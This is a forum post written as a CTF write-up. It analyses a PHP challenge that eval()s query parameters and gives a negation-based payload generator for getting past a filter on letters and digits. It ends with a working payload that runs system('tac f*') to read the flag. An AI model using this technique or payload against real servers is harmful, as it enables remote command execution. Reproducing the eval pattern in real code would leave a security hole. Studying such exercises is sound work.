CTF-32解题思路

Track-子羽   ·   发表于 2021-11-17 15:24:08   ·   CTF&WP专版

源码分析:

  1. <?php
  2. //取反
  3. include('flag.php');
  4. highlight_file(__FILE__);
  5. if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3']))
  6. {
  7. $v1 = (String)$_GET['v1'];
  8. $v2 = (String)$_GET['v2'];
  9. $v3 = (String)$_GET['v3'];
  10. if(is_numeric($v1) && is_numeric($v2))
  11. {
  12. if(preg_match('/^\W+$/', $v3))
  13. {
  14. $code = eval("return $v1$v3$v2;");
  15. echo "$v1$v3$v2 = ".$flag;
  16. }
  17. }
  18. }

绕过无字母数字的方法参考脚本

这里直接利用取反脚本

  1. <?php
  2. //在命令行中运行
  3. /*author yu22x*/
  4. fwrite(STDOUT,'[+]your function: ');
  5. $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
  6. fwrite(STDOUT,'[+]your command: ');
  7. $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
  8. echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

绕过return的方式:
php中有个有意思的地方,数字是可以和命令进行一些运算的,例如 1-phpinfo();结合减号是可以执行phpinfo命令的。(不一定是减号,还有加、乘、除号,若用加号。要用+,要进行URL编码,这是个特殊字符,不进行编码会当作空格)

  1. system(tac f*);
  2. 经过取反处理
  3. (~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5);
  4. payload
  5. ?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5);-&v2=1

payload:

  1. ?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5);-&v2=1

打赏我,让我更有动力~

0 Reply   |  Until 22天前 | 51 View
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2021 掌控者 All Rights Reserved.